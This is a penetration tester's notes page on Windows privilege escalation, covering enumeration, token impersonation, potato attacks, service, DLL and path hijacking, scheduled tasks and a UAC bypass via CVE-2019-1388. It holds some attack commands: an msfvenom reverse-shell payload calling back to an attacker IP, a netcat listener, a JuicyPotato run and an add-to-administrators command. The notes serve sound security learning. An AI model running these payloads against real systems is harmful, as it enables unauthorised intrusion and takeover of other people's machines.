Windows

This is a page dedicated to privilege escalation in windows. Helpful hacktricks checklist: https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation

Tools

winPEAS: https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS windows exploit suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Informations we have to obtain

  • Username and hostname

  • Group memberships of the current user

  • Existing users and groups

  • Operating system, version and architecture

  • Network information

  • Installed applications

  • Running processes

System information

Event Viewer

Powershell logs can be also found under the Windows folder

You can also search for events recorded by Script Block Logging.

Installed programs

We should always check 32-bit and 64-bit Program Files directories located in C:.

Additionally, we should review the contents of the Downloads directory of our user to find more potential programs.

Network enumeration

User information

Check drives

Antivirus information

Firewall information

Password Hunting

More content: https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/#eop-looting-for-passwords

Cmdkey listing

If any key was found you can try exploiting run as to get access

Search for .txt and .ini files

More interesting extensions:

Browsers

Check cashe and search for installed addons.

Run As

If you have credentials to the another user which do not have permissions to connect through RDP and WINRM you can use the following command (you need RDP as another user):

Sometimes in windows you are able to run a program with run as privileges. Run As admin command :

WSL

You can get some interesting information in linux subsystem (see Internal > Linux to enumerate).

Token impersonation

Tokens are temporary keys that allow you access to a system/network without providing the credentials. It works similar to cookies.

You have 2 types of tokensL

Delegate - created for logging into a machine using remote desktop

Impersonate - "non-interactive" such as attaching a network drive or a domain logon script

Then look here to find privileges that can be used: https://github.com/gtworek/Priv2Admin

Potato Attacks

JuicyPotato.exe

https://github.com/ohpe/juicy-potato/releases/tag/v0.1

Before executing the payload you have to create reverse shell using msfvenom:

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.16.35 lport=8787 > shell.bat

Set up listener:

nc -nlvp 8787

Payload:

JuicyPotato.exe -t * -p shell.bat -l 4444

GetCLSID List:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/

GetCLSID.ps1

https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

GITHUB

https://github.com/ohpe/juicy-potato

You can have problems with executing commands after using GodPotato. In this case it is the best to add new user to administrators group and open RDP.

Registry

Autorun (RDP required)

In order to check for autoruns that can be used you can download the Autoruns64.exe tool.

In Autoruns, click on the ‘Logon’ tab.

From The listed results search where exploitable program has its path.

Use accesschk64.exe -wvu "C:\Program Files\Autorun Program" in order to check access permissions.

You can replace the file with msfvenom created reverse shell.

When event happens (e.g. Administrator will login you will get reverse shell)

These tools can be found here: https://github.com/davehardy20/sysinternals

AlwaysInstallElevated

You can also exploit it in the quick way using PowerUp.ps1 tool

Check if value in registry is 1

If the configuration is vulnerable you can proceed to exploit the system in the following way:

Place the file in C:\Temp

Regsvc

ACL If the group that user belongs to has full control the machine can be exploited. You can check it by running the following command:

Exploitation:

Get windows_service.c file: https://github.com/sagishahar/scripts/blob/master/windows_service.c.

Open windows_service.c in a text editor and replace the command used by the system() function to: cmd.exe /k net localgroup administrators user /add

Exit the text editor and compile the file by typing the following in the command prompt:

Copy the generated file to windows machine (C:\Temp)

Open command prompt at type:

If the technique succeded user should be added to administrator group.

Startup

Microsoft documentation with listed permissions: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls

Check permissions:

If you have permissions to the directory create malicious file in kali:

Place it here:

Create listener in kali

Wait for administrator to login.

Service Binary Hijacking

When using a network logon such as WinRM or a bind shell, Get-CimInstance and Get-Service will result in a "permission denied" error when querying for services with a non-administrative user. Using an interactive logon such as RDP solves this problem.

List the services:

Check service with icalcs:

Icalcs permissions:

Mask
Permissions

F

Full access

M

Modify access

RX

Read and execute access

R

Read-only access

W

Write-only access

If you have permissions you can replace the file with malicious one:

Compilation:

Replacement:

Stop service:

If service can be started.

Check service startmode options

Service DLL Hijacking

Windows's standard search order

Get running services:

Check permissions:

Use procmon to investigate the binary:

Unfortunately procmon requires administrative access. In the real world pentest we can transfer the files to our system and use procmon locally.

Initialize service on our own host

Run all commands on our hosts from powershell / cmd run as Administrator

Move all files to same PATH as it is on the victim machine.

Create the service:

Restart the service (PowerShell):

Run Procmon64.exe.

Filter menu > Filter

Replace BetaServ.exe with process of your choice and click ADD.

Procmon Filter

Restart Service in powershell and analyze the response in ProcMon:

During the analysis look for the CreateFile attempts with states:

  • NAME NOT FOUND

  • PATH NOT FOUND

See the path variables:

DLL replacement file:

Compile the dll:

Put the dll.

Restart the vulnerable service:

Path

binPath

Check permissions write access for everyone:

If something was found we can use direct accesschk64.exe command on this service in order to obtain more information (in this case daclsvc):

Exploitation (change daclsvc to your found service):

if you can change configuration:

Unquoted service path

We can use this attack when we have Write permissions to a service's main directory or subdirectories but cannot replace files within them.

Open powershell in execution policy bypass in order to execute scripts:

Execute PowerUp.ps1:

Run function from powerup:

Is vulnerable when:

How windows search for it? When we have the following path:

  1. C:\Program.exe -> not found

  2. C:\Program Files\Unqoted.exe -> not found

  3. C:\Program Files\Unquoted Path.exe -> not found

  4. ... until he finds the exe

We can exploit this by creating malicious file in the following path with the following name:

You can use msfvenom in order to create the file (we use unqouted.exe as example).

Move the generated file to windows.

Set up listener

In order to execute the file start the service

Unquoted service path (manual)

If binary contains spaces, unquoted path and we have write access to directories in this path we are able to execute the attack.

Enumerate running and stopped services:

More efficient way:

After finding the vulnerable path test if we can reset the service (or reboot machine which will start it).

Check access to paths using icacls:

Scheduled tasks

Task has to be run as Administrative user or NT AUTHORITY\SYSTEM.

Also the executable has to be modyfiable to us.

Check scheduled tasks:

Check permissions:

CVE-2019-1388

RDP access required

Find a program that can trigger the UAC prompt screen

Select "Show more details"

Select "Show information about the publisher's certificate"

Click on the "Issued by" URL link it will prompt a browser interface.

Wait for the site to be fully loaded & select "save as" to prompt a explorer window for "save as".

On the explorer window address path, enter the cmd.exe full path: C:\WINDOWS\system32\cmd.exe

Now you'll have an escalated privileges command prompt.

Last updated